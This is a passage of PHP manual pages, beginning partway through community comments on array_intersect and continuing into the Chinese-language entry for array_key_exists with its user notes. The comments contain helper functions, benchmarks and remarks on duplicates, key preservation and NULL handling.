meihao at 126 dot com 21-Nov-2013 08:56
<?php
$a=array(1,2,'3',4);
$b=array('1',2,3);

var_dump($a,$b);

result:
array (size=3)
  0 => int 1
  1 => int 2
  2 => string '3' (length=1)

?>
Mike Block 04-Mar-2013 09:27
I bench-marked some uses of array_intersect and can't believe how slow it is. This isn't as elaborate, but handles most cases and is much faster:

<?php
/**
examines two arrays and returns the intersected arrays with matching keys (ignores duplicate keys)
*/
function simple_array_intersect($a,$b) {
    $a_assoc = $a != array_values($a);
    $b_assoc = $b != array_values($b);
    $ak = $a_assoc ? array_keys($a) : $a;
    $bk = $b_assoc ? array_keys($b) : $b;
    $out = array();
    for ($i=0;$i<sizeof($ak);$i++) {
        if (in_array($ak[$i],$bk)) {
            if ($a_assoc) {
                $out[$ak[$i]] = $a[$ak[$i]];
            } else {
                $out[] = $ak[$i];
            }
        }
    }
    return $out;
}

?>

You can try this out with this:

<?php
// create a large array (simple)
$first = array();
for ($i=500;$i<500000;$i++) {
    $first[] = $i;
}
// create a smaller array (associative)
$second = array();
for ($i=499990;$i<500000;$i++) {
    $second[$i] = rand();
}
echo microtime(true)."\n";
// built-in function
print_r(array_intersect($first,$second));
echo microtime(true)."\n";
// favour simple array as match
print_r(simple_array_intersect($first,$second));
echo microtime(true)."\n";
// favour associative keys for match
print_r(simple_array_intersect($second,$first));
echo microtime(true)."\n";

?>
caffinated 10-Nov-2012 12:13
If you're looking for a relatively easy way to strictly intersect keys and values recursively without array key reordering, here's a simple recursive function:

<?php
function array_intersect_recursive($array1, $array2)
{
  foreach($array1 as $key => $value)
  {
    if (!isset($array2[$key]))
    {
      unset($array1[$key]);
    }
    else
    {
      if (is_array($array1[$key]))
      {
        $array1[$key] = array_intersect_recursive($array1[$key], $array2[$key]);
      }
      elseif ($array2[$key] !== $value)
      {
        unset($array1[$key]);
      }
    }
  }
  return $array1;
}
?>
dml at nm dot ru 20-May-2011 05:06
The built-in function returns wrong result when input arrays have duplicate values.
Here is a code that works correctly:

<?php
function array_intersect_fixed($array1, $array2) {
    $result = array();
    foreach ($array1 as $val) {
      if (($key = array_search($val, $array2, TRUE))!==false) {
         $result[] = $val;
         unset($array2[$key]);
      }
    }
    return $result;
}
?>
faharanik 30-Jun-2010 07:30
Here's my approach to intersection returning only the values present in all the arrays.
Note that each array must not contain duplicate values.
I don't know how effective it actually is, but perhaps it could help.

<?php
// $arrays - Array of arrays to intersect.

function calculate_intersection($arrays)
    {
    $intersection = Array();

    for($checked_item = 0; $checked_item < count($arrays[0]); $checked_item++)
        {
        $occurrence = 1;

        for($compared_array = 1; $compared_array < count($arrays); $compared_array++)
            {
            for($compared_item = 0; $compared_item < count($arrays[$compared_array]); $compared_item++)
                {
                if($arrays[0][$checked_item] == $arrays[$compared_array][$compared_item])
                    {
                    $occurrence++;

                    if($occurrence == count($arrays))
                        {
                        $intersection[] = $arrays[0][$checked_item];
                        }
                    }
                }
            }
        }

    return $intersection;
    }
?>
Yohann 12-Apr-2010 04:36
I used array_intersect in order to sort an array arbitrarly:

<?php
$a = array('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'height', 'nine', 'ten');
$b = array('four', 'one', 'height', 'five')
var_dump(array_intersect($a, $b);
?>

will output:

0 => 'one'
1 => 'four'
2 => 'five'
3 => 'height'

i hope this can help...
james -at- bandit.co -dot- nz 08-Apr-2010 06:07
I needed an array_intersect that would delete the intersecting values from the original array. Voila:

<?php
// array_intersect that splits the needle array into two - one filled with "intersected" results, and one filled with the remainder
function array_intersect_split(&$needle, $haystack, $preserve_keys = false) {
    if(!is_array($needle) || !is_array($haystack)) return false;
    $new_arr = array();
    foreach($needle as $key => $value) {
        if(($loc = array_search($value, $haystack))!==false) {
            if(!$preserve_keys) $new_arr[] = $value;
            else $new_arr[$key] = $value;
            unset($needle[$key]);
        }
    }
    return $new_arr;
}
?>
189780 at gmail dot com 02-Jan-2010 07:26
Actually array_intersect finds the dublicate values, here is my approach which is 5 times faster than built-in function array_intersect().. Give a try..

<?php
function my_array_intersect($a,$b)
{
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$a[$i];
        }
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$b[$i];
        }
        sort($m);
        $get=array();
        for($i=0;$i<sizeof($m);$i++)
        {
                if($m[$i]==$m[$i+1])
                $get[]=$m[$i];
        }
        return $get;
}
?>

Bar?? ?UHADAR
189780@gmail.com
Shawn Pyle 13-Aug-2009 09:29
array_intersect handles duplicate items in arrays differently. If there are duplicates in the first array, all matching duplicates will be returned. If there are duplicates in any of the subsequent arrays they will not be returned.

<?php
array_intersect(array(1,2,2),array(1,2,3)); //=> array(1,2,2)
array_intersect(array(1,2,3),array(1,2,2)); //=> array(1,2)
?>
gary 21-Jun-2009 12:57
i wrote this one to get over the problem i found in getting strings intersected instead of arrays as there is no function in php.

<?php
function matched_main_numbers($string, $string2)
{
$string = "04 16 17 20 29";
$arr1 = explode(" ", $string);

$string2 = "45 34 04 29 16";
$arr2 = explode(" ", $string2);

$array = array_intersect($arr1, $arr2);
$comma_separated = implode($array);

$str = $comma_separated;

$balls = "$comma_separated";
$matched_balls = chunk_split($balls,2," ");
$matched_balls =" $matched_balls";

$number_of_matched_main_balls = strlen($str);
$number_of_matched_main_balls = ($number_of_matched_main_balls/2);
$numbers = "You matched $number_of_matched_main_balls main balls";

return $numbers;

}
?>
Oto Brglez 10-Mar-2009 07:02
If you wish to create intersection with arrays that are empty. Than the result of intersection is empty array.

If you wish to change this. I sugest that you do this.
It simply "ignores" empty arrays. Before loop use 1st array.

<?php

$a = array();
$a[] = 1;
$a[] = 2;
$a[] = 3;

$b = array();
$b[] = 4;
$b[] = 5;
$b[] = 1;

$c = array();
$c[] = 1;
$c[] = 5;
$d = array();

$kb=array('a','b','c','d');

$out = $a;
foreach($kb as $k){
    if(!empty(${$k})) $out = array_intersect($out,${$k});
};
print_r($out);
// The result is array

// The result is empty array
print_r(array_intersect($a,$b,$c,$d));

?>
karl at libsyn dot com 30-Jan-2009 09:58
Given a multidimensional array that represents AND/OR relationships (example below), you can use a recursive function with array_intersect() to see if another array matches that set of relationships.

For example: array( array( 'red' ), array( 'white', 'blue' ) ) represents "red OR ( white AND blue )".  array( 'red', array( 'white', 'blue' ) ) would work, too, BTW.

If I have array( 'red' ) and I want to see if it matches the AND/OR array, I use the following function.  It returns the matched array,
but can just return a boolean if that's all you need:

<?php
$needle = array( array( 'red' ), array( 'white', 'blue' ) );
$haystack = array( 'red' );

function findMatchingArray( $needle, $haystack ) {
    foreach( $needle as $element ) {
        $test_element = (array) $element;
        if( count( $test_element ) == count( array_intersect( $test_element, $haystack ) ) ) {
            return $element;
        }

    }
    return false;
}
?>

Pretty tough to describe what I needed it to do, but it worked.  I don't know if anyone else out there needs something like this, but hope this helps.
Esfandiar -- e.bandari at gmail dot com 10-Aug-2008 12:44
Regarding array union:  Here is a faster version array_union($a, $b)

But it is not needed!  See below.

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            $a,
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>

You get the same result with $a + $b.

N.B. for associative array the results of $a+$b and $b+$a are different, I think array_diff_key is used.

Cheers, E
stuart at horuskol dot co dot uk 07-Jul-2008 03:57
A clearer example of the key preservation of this function:

<?php

$array1 = array(2, 4, 6, 8, 10, 12);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));
var_dump(array_intersect($array2, $array1));

?>

yields the following:

array(3) {
  [0]=> int(2)
  [1]=> int(4)
  [2]=> int(6)
}

array(3) {
  [1]=> int(2)
  [3]=> int(4)
  [5]=> int(6)
}

This makes it important to remember which way round you passed the arrays to the function if these keys are relied on later in the script.
Malte 10-Feb-2008 10:34
Extending the posting by Terry from 07-Feb-2006 04:42:

If you want to use this function with arrays which have sometimes the same value several times, it won't be checked if they're existing in the second array as much as in the first.
So I delete the value in the second array, if it's found there:

<?php
$firstarray = array(1, 1, 2, 3, 4, 1);
$secondarray = array(4, 1, 6, 5, 4, 1);

//array_intersect($firstarray, $secondarray): 1, 1, 1, 4

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }else{
        unset($secondarray[array_search($value,$secondarray)]);
    }
}

//$firstarray: 1, 1, 4

?>
aaron 17-Dec-2006 09:36
this one will work with associative arrays.  also an overwrite function to only replace those elements in the first array.

<?php

function array_union()
{
    if (func_num_args() < 2) { return; }
    $arrays = func_get_args();
    $outputArray = array_shift($arrays);
    $remaining = count($arrays);
    for ($i=0; $i<$remaining; $i++)
    {
        $nextArray = $arrays[$i];
        foreach ($nextArray as $key=>$value)
        {
            $outputArray[$key] = $value;
        }
    }
    return $outputArray;
}

function array_overwrite()
{
    if (func_num_args() < 2) { return; }
    $arrays = func_get_args();
    $outputArray = array_shift($arrays);
    $remaining = count($arrays);
    for ($i=0; $i<$remaining; $i++)
    {
        $nextArray = $arrays[$i];
        foreach ($nextArray as $key=>$value)
        {
            if (array_key_exists($key, $outputArray)) {    $outputArray[$key] = $value; }
        }
    }
    return $outputArray;
}

?>
Niels 19-Sep-2006 04:53
Here is a array_union($a, $b):

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            array_intersect($a, $b),    //         2   4
            array_diff($a, $b),         //       1   3
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>
nthitz at gmail dot com 08-Jun-2006 09:09
I did some trials and if you know the approximate size of the arrays then it would seem to be a lot faster to do this <?php array_intersect($smallerArray, $largerArray); ?> Where $smallerArray is the array with lesser items. I only tested this with long strings but I would imagine that it is somewhat universal.
terry(-at-)shuttleworths(-dot-)net 07-Feb-2006 07:42
I couldn't get array_intersect to work with two arrays of identical objects, so I just did this:

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }
}

This leaves $firstarray as the intersection.

Seems to work fine & reasonably quickly.
tom p 04-Nov-2005 06:54
If you store a string of keys in a database field and want to match them to a static array of values, this is a quick way to do it without loops:

<?

$vals = array("Blue","Green","Pink","Yellow");
$db_field = "0,2,3";

echo implode(", ", array_flip(array_intersect(array_flip($vals), explode(",", $db_field))));

// will output "Blue, Pink, Yellow"

?>
sapenov at gmail dot com 10-Jun-2005 01:11
If you need to supply arbitrary number of arguments
to array_intersect() or other array function,
use following function:

$full=call_user_func_array('array_intersect', $any_number_of_arrays_here);
SETS INTERSECTION 18-May-2005 11:19
$a = array(1,2,3,4,5,2,6,1);  /* repeated elements --> $a is not a set */
$b = array(0,2,4,6,8,5,7,9,2,1);  /* repeated elements --> $b is not a set */

$ua = array_merge(array_unique($a));  /* now, $a is a set */
$ub = array_merge(array_unique($b));  /* now, $b is a set */

$intersect = array_merge(array_intersect($ua,$ub));

Note: 'array_merge' removes blank spaces in the arrays.
Note: order doesn't matter.

In one line:

$intersect_a_b = array_merge(array_intersect(array_merge(array_unique($a)), array_merge(array_unique($b))));

Additions/corrections wellcome...

gRiNgO
drew at iws dot co dot nz 21-Apr-2005 08:04
Just a handy tip.

If you want to produce an array from two seperate arrays on their intersects, here you go:

<?

$a = array("branches","E_SHOP");
$b = array("E_SHOP","Webdirector_1_0");

print join("/",array_merge(array_diff($a, $b), array_intersect($a, $b), array_diff($b, $a)));

?>

Gives you:

/branches/E_SHOP/Webdirectory_1_0
blu at dotgeek dot org 14-Oct-2004 05:34
Note that array_intersect and array_unique doesnt work well with multidimensional arrays.
If you have, for example,

<?php

$orders_today[0] = array('John Doe', 'PHP Book');
$orders_today[1] = array('Jack Smith', 'Coke');

$orders_yesterday[0] = array('Miranda Jones', 'Digital Watch');
$orders_yesterday[1] = array('John Doe', 'PHP Book');
$orders_yesterday[2] = array('Z? da Silva', 'BMW Car');

?>

and wants to know if the same person bought the same thing today and yesterday and use array_intersect($orders_today, $orders_yesterday) you'll get as result:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

    [1] => Array
        (
            [0] => Jack Smith
            [1] => Coke
        )

)

?>

but we can get around that by serializing the inner arrays:
<?php

$orders_today[0] = serialize(array('John Doe', 'PHP Book'));
$orders_today[1] = serialize(array('Jack Smith', 'Coke'));

$orders_yesterday[0] = serialize(array('Miranda Jones', 'Digital Watch'));
$orders_yesterday[1] = serialize(array('John Doe', 'PHP Book'));
$orders_yesterday[2] = serialize(array('Z? da Silva', 'Uncle Tungsten'));

?>

so that array_map("unserialize", array_intersect($orders_today, $orders_yesterday)) will return:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

)

?>

showing us who bought the same thing today and yesterday =)

[]s
tompittlik at disfinite dot net 24-Jun-2004 06:27
Just a small mod to ben's code to make it work properly:

<?php

if(sort(array_unique($b + $a)) === sort($b))
 // $a is legit
}

?>

This is useful for checking for illegal characters in a username.
t dot wiltzius at insightbb dot com 23-Jun-2004 09:33
I needed to compare an array with associative keys to an array that contained some of the keys to the associative array. Basically, I just wanted to return only a few of the entries in the original array, and the keys to the entries I wanted were stored in another array. This is pretty straightforward (although complicated to explain), but I couldn't find a good function for comparing values to keys. So I wrote this relatively straightforward one:

<?php

function key_values_intersect($values,$keys) {
   foreach($keys AS $key) {
      $key_val_int[$key] = $values[$key];
      }
   return $key_val_int;
   }

$big = array("first"=>2,"second"=>7,"third"=>3,"fourth"=>5);
$subset = array("first","third");

print_r(key_values_intersect($big,$subset));

?>

This will return:

Array ( [first] => 2 [third] => 3 )
anbolb at boltblue dot com 09-Jan-2004 01:11
This is also handy for testing an array for one of a series of acceptable elements. As a simple example, if you're expecting the query string to contain one of, say, user_id, order_id or item_id, to find out which one it is you could do this:

<?php
    $valid_ids = array ('user_id', 'item_id', 'order_id');
    if ($id = current (array_intersect ($valid_ids, array_keys ($_GET))))
    {
        // do some stuff with it
    }
    else
        // error - invalid id passed, or none at all
?>

...which could be useful for constructing an SQL query, or some other situation where testing for them one by one might be too clumsy.
ben at kazez dot com 09-Dec-2003 10:49
To check whether an array $a is a subset of array $b, do the following:

<?php
if(array_unique($b + $a) === $b)
//...
?>

Actually, PHP ought to have a function that does this for you. But the above example works.
Alessandro Ranellucci alex at primafila dot net 16-Jul-2003 06:35
array_intersect($array1, $array2);
returns the same as:
array_diff($array1, array_diff($array1, $array2));
david at audiogalaxy dot com 09-Apr-2001 04:54
Note that array_intersect() considers the type of the array elements when it compares them.

If array_intersect() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to intersect an array of integers with an array of strings.


检查数组里是否有指定的键名或索引

  • ? array_intersect
  • array_key_first ?
  • PHP Manual
  • 数组 函数
  • 检查数组里是否有指定的键名或索引

array_key_exists

(PHP 4 >= 4.0.7, PHP 5, PHP 7)

array_key_exists — 检查数组里是否有指定的键名或索引

说明

array_key_exists ( mixed $key , array $array ) : bool

数组里有键 key 时，array_key_exists() 返回 TRUE。 key 可以是任何能作为数组索引的值。

参数

key

要检查的键。

array

一个数组，包含待检查的键。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

Note:

array_key_exists() 仅仅搜索第一维的键。 多维数组里嵌套的键不会被搜索到。

范例

Example #1 array_key_exists() 例子

<?php
$search_array = array('first' => 1, 'second' => 4);
if (array_key_exists('first', $search_array)) {
    echo "The 'first' element is in the array";
}
?>

Example #2 array_key_exists() 与 isset() 的对比

isset() 对于数组中为 NULL 的值不会返回 TRUE，而 array_key_exists() 会。

<?php
$search_array = array('first' => null, 'second' => 4);

// returns false
isset($search_array['first']);

// returns true
array_key_exists('first', $search_array);
?>

注释

Note:

由于为了兼容以前版本，如果 object 当做 array 传入 array_key_exists()，同时 key 是对象的属性，也会返回 TRUE。 不要依赖这个特性，保证参数 array 类型是数组（array）。

要检查对象是否有某个属性，应该去用 property_exists()。

参见

  • isset() - 检测变量是否已设置并且非 NULL
  • array_keys() - 返回数组中部分的或所有的键名
  • in_array() - 检查数组中是否存在某个值
  • property_exists() - 检查对象或类是否具有该属性

User Contributed Notes

Matej 05-Sep-2018 07:07
Beware that if the array passed to array_key_exists is NULL, the return value will also be NULL.

This is undocumented behaviour, moreover the documentation (and return typehint) suggest that the array_key_exists function only returns boolean value. But that's not the case.
venimus at gmail dot com 27-Apr-2018 11:35
Be warned that before checking the key existence with isset() it will be typecasted to integer if it is not a string or integer!

See Example #2 in http://php.net/manual/en/language.types.array.php

I.e.

$a = ['test']; // 'test' will have key 0
$key = false;

var_dump(isset($a[$key]) ); // true
pierreantoine dot guillaume at gmail dot com 27-Apr-2018 09:08
if you ever face a case in which your array_key_exists returns null, that might be because the second parameter you gave it is not an array.

For instance :

    var_dump(array_key_exists($my_key,$my_array));
    //bool(true);

    var_dump(array_key_exists($my_array, $my_key));
    //NULL
Ellert van Koperen 01-Mar-2018 02:21
Rudi's multidimensional array_key_exists function was not working for me, so i built one that is.
Enjoy.

function array_multi_key_exists( $arrNeedles, $arrHaystack){
    $Needle = array_shift($arrNeedles);
    if(count($arrNeedles) == 0){
        return(array_key_exists($Needle, $arrHaystack));
    }else{
        if(!array_key_exists($Needle, $arrHaystack)){
            return false;
        }else{
            return array_multi_key_exists($arrNeedles, $arrHaystack[$Needle]);
        }
    }
}
falundir at gmail dot com 01-Sep-2017 10:58
This function will return NULL when second argument is not an array. So it will bite you when using it like that:

<?php
$not_an_array = null;
if (array_key_exists($key, $not_an_array) === false) {
    // the array doesn't have the key
    return;
}

// happily proceed - surely the array does have the key (BUT IT DOESN'T!)
?>

That's because the condition null === false fails.

Instead you should use:

<?php
if (array_key_exists($key, $not_an_array) == false) {
    return;
}

// or

if (!array_key_exists($key, $not_an_array)) {
    return;
}

// or

if (is_array($not_an_array) === false || array_key_exists($key, $not_an_array) === false) {
    return;
}
?>
zildo 04-Oct-2016 02:49
This function will look for a key in multidimensional arrays, and return the paths to all the results found, or return false if none have been found.

<?php

function array_multi_key_exists($key, $array, $first=true, &$return=array()){

if($first){

while($ret = array_multi_key_exists($key, &$array, false)){
$r[]=$ret;
}

if(empty($r[0])){
return $r[0]=array();
}else{
return $r;
}

}

foreach($array as $k => $v){

if($k === $key && !(is_array($v))){

unset($array[$k]);
array_unshift($return, $k);
return $return;

}elseif($k === $key && is_array($v)){

if(empty($v)){
unset($array[$k]);
}else{

if(array_multi_key_exists($key, &$array[$k], false, $return)){

array_unshift($return, $k);
return $return;

}

}

array_unshift($return, $k);
unset($array[$k]);
return $return;

}else{

if(is_array($v)){

if(array_multi_key_exists($key, &$array[$k], false, $return)){

array_unshift($return, $k);
return $return;

}

}

}

}

return false;

}

?>

The next function takes the array of paths returned by array_multi_key_exists as parameter and returns the corresponding values.

<?php

function array_multi_values($paths, $array){

$return = array();

foreach($paths as $n => $path){
$val = $array;
foreach($path as $dim => $key){

$val = $val[$key];

}

$return[$n] = $val;
unset($val);

}

return $return;

}

?>

This next function takes the paths array returned by array_multi_key_exists, and unsets the corresponding values of the original array, returning the clipped array.

<?php

function array_multi_clip($paths, $array, $key=0, $path=false){

while($path==false){

foreach($paths as $path){
array_multi_clip($paths, &$array, 0, $path);
}
return $array;
}

$n = count($path);

if($key == $n-1){
unset($array[$path[$key]]);
return $array;
}else{

array_multi_clip($paths, &$array[$path[$key]], ++$key, $path);
}

}

?>

Examples:

<?php

$array = array(

'colours' => array(

'red' => array(

'veg' => 'tomato',
'fruit' => 'strawberry',
'green' => 'colourblind',

),

'green' => array(

'green' => 'envy',
'unripe' => 'veggies',

),

'blue' => 'smurfs',

),

);

$key = 'green';

$paths = array_multi_key_exists($key, $array);
print_r($paths);

?>

The result will be an array of paths:

Array
(
    [0] => Array
        (
            [0] => colours
            [1] => red
            [2] => green
        )

    [1] => Array
        (
            [0] => colours
            [1] => green
            [2] => green
        )

    [2] => Array
        (
            [0] => colours
            [1] => green
        )

)

As it can be seen, if one of the results is an array which again contains the key searched, both will show up in the results.

Example of array_multi_values:

<?php

$values = array_multi_values($paths, $array);
print_r($values);

?>

Result:

<?php

Array
(
    [0] => colourblind
    [1] => envy
    [2] => Array
        (
            [green] => envy
            [unripe] => veggies
        )

)

?>

Example of array_multi_clip():

<?php

$clipped = array_multi_clip($paths, $array);
print_r($clipped);

?>

Result:

<?php
Array
(
    [colours] => Array
        (
            [red] => Array
                (
                    [veg] => tomato
                    [fruit] => strawberry
                )

            [blue] => smurfs
        )

)

?>
Venkata Subbaraju 03-Nov-2015 05:42
array_key_exists perfect for $_GET .

As there will be browser level restriction on length of URL , number of keys in $_GET global variable will be very limited . So array_key_exists will not cause any performance overhead in this context . isset function can be conveniently ignored while handling $_GET variable.

But for $_POST , the max array size has to be configure in server PHP configuration . So cannot rely on array_key_exists for $_POST if max array size is not optimized .

Here is an example with array_key_exists switching between content-types :

if(array_key_exists('format',$_GET))
{
              if($_GET['format']=="json")
              {
                      header('Content-Type: application/json');
              }
              else{
                     //handle any other format whitelisted for the application
              }
}
else {
               error_log("format parameter missing . using default html format");
               header('Content-Type: text/html');
}
p dot allgeier at web dot de 19-Aug-2015 10:36
If u want to check if a key exists either in the array or in any subarray try the following:

<?php

function requireKey($needle, array $array)
    {
        foreach ($array as $key => $value) {
            if ($key === $needle) return $value;
            if (is_array($value)) {
                if ($x = $this->requireKey($key, $value)) return $x;
            }
        }
        return false;
    }

?>

(( return $value for recursive array search, return true for recursive array key exists ))
ellert at vankoperen dot nl 13-Oct-2014 07:49
While working with large JSON datastructures I encountered an increasing need to check the presence of certain data all over the place.
This led to the function below that lets you simply access the data, and returns it if available, null if not.
Note that it uses a variable number of parameters, you can go as deep into a nested structure as you want.

<?php
function safe_array_access($ar){
    $numargs = func_num_args();
    $arg_list = func_get_args();
    $aritterator = $ar;
    for($i = 1; $i < $numargs; $i++){
        if (isset($aritterator[$arg_list[$i]]) || array_key_exists($arg_list[$i], $aritterator)){
            $aritterator = $aritterator[$arg_list[$i]];
        }else{
            return(false);
        }
    }
    return($aritterator);
}
?>
Usage:
Instead of  $a['b']['c'] use safe_array_access($a, 'b', 'c');
mc dot watras at gmail dot com 25-Jul-2014 08:12
array_key_exists doesn't work with objects implementing ArrayAccess interface. It also ignores possible __get() method in such objects, despite the fact it accepts object as a second parameter. It works only with 'real' properties.

<?php
class A implements ArrayAccess {
    public $data;
    public function offsetExists($offset) {
        return isset($this->data[$offset]);
    }
    public function __get($property) {
        return $this->data[$property];
    }
}

$a = new A();
$a->data['somekey'] = 1;
var_dump(array_key_exists('somekey', $a)); // returns false
var_dump(array_key_exists('data', $a));  // returns true
?>
Sandro Alves Peres 19-Jun-2013 11:30
<?php
/*
    It also works on objects
    ***************************************
*/

class PHP
{

    private $compiler;
    protected $architecture;
    public $version;
    public $system = "Linux";

}

$php = new PHP();

$a = array_key_exists('compiler', $php);     # false
$b = array_key_exists('architecture', $php); # false
$c = array_key_exists('version', $php);      # true
$d = array_key_exists('system', $php);       # true

var_dump( $a, $b, $c, $d );

?>
imaginary at friend dot com 09-Apr-2012 04:37
An even simpler case-insensitive alternative to array_key_exists():

<?php

array_key_exists(strtolower($key), array_change_key_case($search));
Nik Tang 05-Mar-2012 01:22
If you want to take the performance advantage of isset() while keeping the NULL element correctly detected, use this:

if (isset(..) || array_key_exists(...))
{
...
}

Benchmark (100000 runs):
array_key_exists() : 205 ms
is_set() : 35ms
isset() || array_key_exists() : 48ms

Note:
The code for this check is very fast, so you shouldn't warp the code into a single function like below, because the overhead of calling a function dominates the overall performance.

function array_check(...)
{
    return (isset(..) || array_key_exists(...))
}
Rudi 10-Nov-2011 02:10
I've got a new take on the multi key function I would like to share.

<?php
function array_multi_key_exists(array $arrNeedles, array $arrHaystack, $blnMatchAll=true){
    $blnFound = array_key_exists(array_shift($arrNeedles), $arrHaystack);

    if($blnFound && (count($arrNeedles) == 0 || !$blnMatchAll))
        return true;

    if(!$blnFound && count($arrNeedles) == 0 || $blnMatchAll)
        return false;

    return array_multi_key_exists($arrNeedles, $arrHaystack, $blnMatchAll);
}
?>

Hope you'll find it usefull.
glitch dot mr at gmail dot com 01-Oct-2011 04:15
As you might know, isset() is actually working like @$variable===NULL. As the result, it doesn't actually catch variables set to NULL. If you want to check if variable is set (even to NULL), you can use array_key_exists on $GLOBALS, like there.

<?php
   $me = null;
   $se = 1;
   unset($se);
// $he is not set

if(array_key_exists('me', $GLOBALS)) echo "\$me exists\n";
if(array_key_exists('se', $GLOBALS)) echo "\$se exists\n";
if(array_key_exists('he', $GLOBALS)) echo "\$he exists\n";

?>

In this case, only $me will be detected as $se was removed when code was running and $he was never set.
Anonymous 16-Jun-2011 01:07
I just want to note that array_key_exists() can be extremely slow for large (>200 keys) arrays.  Use isset($array($key)) instead!  My program ran in 3 minutes instead of 2 hours after switching to isset()!
manhon824 at gmail dot com 18-May-2011 09:29
I took hours for me to debug, and I finally recognized that,

You have to reset the $array before using array_key_exists
reset($array);
array_key_exists($needle,$array);

Or you will get no reply.
tech at signhere envy dot de 18-Jan-2011 02:23
Hey, this function is able to rename a key inside an array.

If the key to be replaced doesn't exist inside the array, or the new key already exists in the array, the function will return FALSE.
Otherwise, the array with the renamed key will be returned.

Hope this will be useful for someone.
<?php
function array_rename_key($array, $key, $newkey){
    if( ! array_key_exists($key, $array) || array_key_exists($newkey, $array)) return FALSE;
    $uid = uniqid(''); //To clearly identify the Element.
    $preserve_value = $array[$key]; //Keep the Value
    $array[$key] = $uid; //Overwrite Value with ID
    $array = array_flip($array); //Flip the Array keys and values
    $array[$uid] = $newkey; //Set Value of the ID with new Key.
    $array = array_flip($array); //Everything back in Place.
    $array[$newkey] = $preserve_value;
    return $array;
}
?>
jens dot hoevenaars at gmail dot com 06-Nov-2010 03:21
I created this function that uses array key exist to compare a form and a table to see if something has changed.

This can be very helpfull if you need to update a table record from a form but you do not want to display all table fields.

<?php
function($data_from_db, $form_data) {
 $data = $data_from_db;
 $keys = array_keys($data);

    for($i = 0; $i < count($data); $i++) {
        if(!array_key_exists($keys[$i], $form_data)) {
            $dbobject->$keys[$i] = $data[$keys[$i]];
        } else {
            $dbobject->$keys[$i] = $form_data[$keys[$i]];
        }
    }
    return $dbobject;
}
?>

you can then use the dbobject to update the table.
moandsimon at btinternet dot com 26-Apr-2010 01:56
This uses array_key_exists.

You have a multidimensional array of the form:

$rowsoriginal[] = array('field_wrkvolmin_value' => 216, 'field_wrkvolmax_value' => 1000);
$rowsoriginal[] = array('field_wrkvolmin_value' => 27, 'field_wrkvolmax_value' => 216);

Using print_r this will look like:

Array ( [0] => Array ( [field_wrkvolmin_value] => 216 [field_wrkvolmax_value] => 1000 ) [1] => Array ( [field_wrkvolmin_value] => 27 [field_wrkvolmax_value] => 216 ) )

This can be used to create a table by iterating over the rows that looks like this:

field_wrkvolmin_value          field_wrkvolmax_value
           216                                      1000
            27                                       216

when $rowsoriginal contain a fixed but unknown amount of values.

If you want to process this in an automatic way without knowing the keys etc, into a multidimensional array of the form:

$rowstemp = array('field_wrkvolmin_value' => array(216, 27), 'field_wrkvolmax_value' => array(1000, 216));

Using print_r this will look like:

Array ( [field_wrkvolmin_value] => Array ( [0] => 216 [1] => 27 ) [field_wrkvolmax_value] => Array ( [0] => 1000 [1] => 216 ) )

This can be used to iterate over the rows of a table to create a table in the form of:

field_wrkvolmin_value            216            27
field_wrkvolmax_value           1000           216

To do this you can use the following looping and conditional structure, using array_key_exists():

<?php
$rowstemp = array();
foreach ($rowsoriginal as $row) {
    foreach ($row as $key => $value) {
        if (array_key_exists($key, $rowstemp)) {
            $rowstemp[$key][] = $value;
        }
        else {
            $valuestemp = array($value);
            $rowstemp[$key] = $valuestemp;
        }
    }
}
?>
gmdebby at gmail dot com 14-Jan-2010 05:44
A little function which take an array as keys

<?php
//note the s in the function name (keys)
function array_keys_exists($array,$keys) {
    foreach($keys as $k) {
        if(!isset($array[$k])) {
        return false;
        }
    }
    return true;
}
?>
//useful to validate a form for example
<form>
    <input type="text" name="field1" /><br />
    <input type="text" name="field2" /><br />
    <input type="text" name="field3" /><br />
    <input type="text" name="field4" /><br />
    <input type="text" name="field5" /><br />
</form>
<?php
if(!array_keys_exists($_POST,
array("field1","field2","field3","field4","field5")
)) {
    //some fields are missing, dont do anything (maybe hacking)
} else {
    //code ...
}
?>
PHPEric 05-Aug-2009 06:51
Very simple case-insensitive array_key_exists:

bool (in_array(strtolower($needle), array_map('strtolower', array_keys($haystack))))
tom at edgedesigns dot org 21-Jul-2009 05:10
The multi_array_key_exists() function posted by alishahnovin at hotmail dot com [which has since been removed] does not always return the expected result.

This modified version does.

<?php
/**
 * multi_array_key_exists function.
 *
 * @param mixed $needle The key you want to check for
 * @param mixed $haystack The array you want to search
 * @return bool
 */
function multi_array_key_exists( $needle, $haystack ) {

    foreach ( $haystack as $key => $value ) :

        if ( $needle == $key )
            return true;

        if ( is_array( $value ) ) :
             if ( multi_array_key_exists( $needle, $value ) == true )
                return true;
             else
                 continue;
        endif;

    endforeach;

    return false;
}

?>
webmaster at oehoeboeroe dot nl 04-May-2009 01:09
The way array_key_exists handles null, float, boolean, and 'integer-representing string' keys is inconsistent in itself and, in the case of bool and float, with the way these are converted when used as array offset.

<?php
$array = array(null => 1, false => 2, true => 3, 4.6 => 4, "08" => 5, "8" => 6);
var_export($array);

echo "\nnull is " . (array_key_exists(null, $array) ? '' : 'not ') . "a key.\n";
echo 'false is ' . (array_key_exists(false, $array) ? '' : 'not ') . "a key.\n";
echo 'true is ' . (array_key_exists(true, $array) ? '' : 'not ') . "a key.\n";
echo '4.6 is ' . (array_key_exists(4.6, $array) ? '' : 'not ') . "a key.\n";
echo '"08" is ' . (array_key_exists("08", $array) ? '' : 'not ') . "a key.\n";
